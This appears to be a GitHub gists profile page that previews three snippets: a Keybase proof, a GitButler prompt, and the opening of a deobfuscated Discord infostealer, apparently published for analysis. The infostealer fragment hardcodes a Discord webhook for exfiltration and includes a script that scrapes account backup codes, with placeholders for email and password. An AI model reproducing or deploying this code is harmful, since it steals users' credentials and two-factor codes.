Skip to content

Instantly share code, notes, and snippets.

View rafifos's full-sized avatar

Rafael Julio rafifos

View GitHub Profile
@rafifos
rafifos / discord_injection_deobfuscated.js
Last active February 14, 2026 21:55
infostealer decoded
const { BrowserWindow, session } = require("electron"),
{ userInfo } = require("os"),
{ parse } = require("querystring"),
fs = require("fs"),
https = require("https"),
path = require("path"),
WEBHOOK =
"https://canary.discord.com/api/webhooks/1463621641543356446/aClElq_nY6kVyhOTolGuX1up3Yq-ZD6yVt1vwb1mi7E4pHVwtC1CnamX7XoSfKfvd2N1";
let [BACKUPCODES_SCRIPT, LOGOUT_SCRIPT, BADGES, EMAIL, PASSWORD] = [
"const elements = document.querySelectorAll('span[class^=\"code_\"]');let p = [];elements.forEach((element, index) => {const code = element.textContent;p.push(code);});p;",
@rafifos
rafifos / GITBUTLER_BRANCH_NAME_PROMPT.md
Created June 8, 2025 22:56
GitButler Conventional Commits and GitFlow Prompts

GitButler Branch Name Generation using GitFlow and Conventional Commits

Model: Claude Sonnet 4, via GitHub Copilot Chat. See: About Claude in GitHub Copilot Chat

Prompt

I'm writing a custom branch name AI prompt for GitButler, it's going to be fed to Claude (probably 3.5, they don't specify the version, only that it's Anthropic).

This is the default prompt:

@rafifos
rafifos / keybase.md
Created March 1, 2021 13:27
Proof that I am rafifos@keybase.io

Keybase proof

I hereby claim:

  • I am rafifos on github.
  • I am rafifos (https://keybase.io/rafifos) on keybase.
  • I have a public key ASA6hEaYQM3sF6KIXxfrQotX2yUYZyuzWtvZskSSNJPfRAo

To claim this, I am signing this object: